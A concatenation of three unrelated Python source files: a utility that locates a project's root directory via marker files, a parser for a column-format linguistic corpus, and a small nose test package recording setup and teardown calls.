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] |
zeppos_root/root.py | changrunner/zeppos_root | 0 | 37816 | <reponame>changrunner/zeppos_root
from pathlib import Path
from os import path
from zeppos_logging.app_logger import AppLogger
class Root:
@staticmethod
def find_root_of_project(current_module_filename,
root_marker_filename_list=[".root", "manage.py", "Pipfile"]):
AppLogger.logger.debug(f"current_module_filename: {current_module_filename}")
AppLogger.logger.debug(f"root_marker_filename_list: {root_marker_filename_list}")
for root_marker_filename in root_marker_filename_list:
root_path = Root._get_root_directory_using_root_marker_file(
directory=Root.get_path_object_of_full_file_name(
current_module_filename
),
root_marker_filename=root_marker_filename,
loop_counter=1
)
if root_path:
AppLogger.logger.debug(f"root_path: {root_path}")
return root_path
AppLogger.logger.debug(f"root_path: None")
return None
@staticmethod
def get_real_path(partial_full_filename):
return path.realpath(partial_full_filename)
@staticmethod
def get_path_object_of_full_file_name(full_file_name):
return \
Path(
Root.get_real_path(
full_file_name
)
)
@staticmethod
def _get_root_directory_using_root_marker_file(directory, root_marker_filename, loop_counter):
try:
while True:
full_file_name_list = list(directory.glob(root_marker_filename))
if len(full_file_name_list) > 0:
return path.dirname(full_file_name_list[0])
loop_counter += 1
if loop_counter > 50:
return None
return Root._get_root_directory_using_root_marker_file(directory.parent, root_marker_filename,
loop_counter)
return None
except:
return None
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thesis/parsers/base.py | alki22/thesis | 0 | 184830 | <filename>thesis/parsers/base.py
# -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
from collections import OrderedDict
from tabulate import tabulate
from thesis.utils import try_number
from tqdm import tqdm
class Word(object):
def __init__(self, word, columns):
word = OrderedDict(zip(columns, word.split()))
self.idx = int(word.pop('idx'))
self.token = word.pop('token')
self.lemma = word.pop('lemma')
self.tag = word.pop('tag')
self._extras = word.copy()
def __contains__(self, item):
return item in self._extras
def __getitem__(self, item):
return try_number(self._extras[item])
def __getattr__(self, item):
if item in self:
return self[item]
else:
raise AttributeError
def __setitem__(self, key, value):
self._extras[key] = value
def __repr__(self):
return '<Word: %s>' % self.token
def __str__(self):
return '%s\t%s\t%s\t%s\t%s' % (self.idx, self.token, self.lemma, self.tag, '\t'.join(self._extras.values()))
@property
def extras(self):
return list(self._extras.values())
@property
def tokens(self):
"""
Method to get different combinations of tokens, with different use of capital letters
in order to look for it in a embedding model.
:return: A list of all possible combinations of a token or a lemma, ordered by importance
"""
if self.tag.startswith('F') and self.tag.lower() != 'fw': # To compatibilize with sbwce
return ('<PUNCTUATION>',) * 3
elif self.tag == 'W':
return ('<DATE>',) * 3
elif self.tag == 'Z':
return ('<NUMBER>',) * 3
else:
return (
self.token,
self.token.lower(),
self.lemma
)
class Sentence(object):
def __init__(self, metadata, sentence, *columns):
self._corpus_name = metadata.pop('META')
self._sentence_index = int(metadata.pop('sentence'))
self._metadata = metadata
self._words = [Word(word, columns) for word in sentence]
def __contains__(self, item):
return item in self._metadata
def __getitem__(self, item):
return try_number(self._metadata[item])
def __getattr__(self, item):
if item in self:
return self[item]
else:
raise AttributeError
def __len__(self):
return len(self._words)
def __setitem__(self, key, value):
self._metadata[key] = value
def __iter__(self):
for word in self._words:
yield word
def __repr__(self):
return '<Sentence: %05d - Corpus: %s>' % (self._sentence_index, self._corpus_name)
def __str__(self):
words = [[word.idx, word.token, word.lemma, word.tag] + word.extras for word in self]
return tabulate(words, tablefmt='plain')
@property
def metadata_string(self):
return 'META:%s sentence:%05d %s' % \
(self._corpus_name, self._sentence_index,
' '.join(':'.join(d) for d in sorted(self._metadata.items())))
def get_word_by_index(self, index):
index = int(index)
assert index > 0 and index == self._words[index-1].idx
return self._words[index-1]
def get_word_windows(self, loc, window_size):
"""
Return the window_size words to the left and right of loc.
:param loc: int
:param window_size: int
:return: Left and right window of words of word in loc.
"""
loc -= 1 # Words are numerated from 1
return self._words[max(0, loc - window_size):loc], self._words[loc+1:loc+window_size+1]
@property
def corpus_name(self):
return self._corpus_name
@property
def sentence_index(self):
return self._sentence_index
class ColumnCorpusParser(object):
def __init__(self, path, *columns, total_lines=0, verbose=False):
self._path = path
self._columns = columns
self._total_lines = total_lines
self._verbose = verbose
@property
def sentences(self):
with open(self._path, 'r') as f:
metadata = {}
sentence = []
for line in tqdm(f, total=self._total_lines, disable=not self._verbose):
if line.strip().startswith('META'):
metadata = dict([tuple(mdata.split(':', 1)) for mdata in line.strip().split()])
elif line.strip() != '':
sentence.append(line.strip())
else:
yield Sentence(metadata, sentence, *self._columns)
metadata = {}
sentence = []
def __repr__(self):
return '<ColumnCorpusParser>'
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desktop/core/ext-py/nose-1.3.7/functional_tests/support/ltfn/test_pak1/__init__.py | kokosing/hue | 5,079 | 112399 | from state import called
def setup():
called.append('test_pak1.setup')
def teardown():
called.append('test_pak1.teardown')
def test_one_one():
called.append('test_pak1.test_one_one')
def test_one_two():
called.append('test_pak1.test_one_two')
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] |
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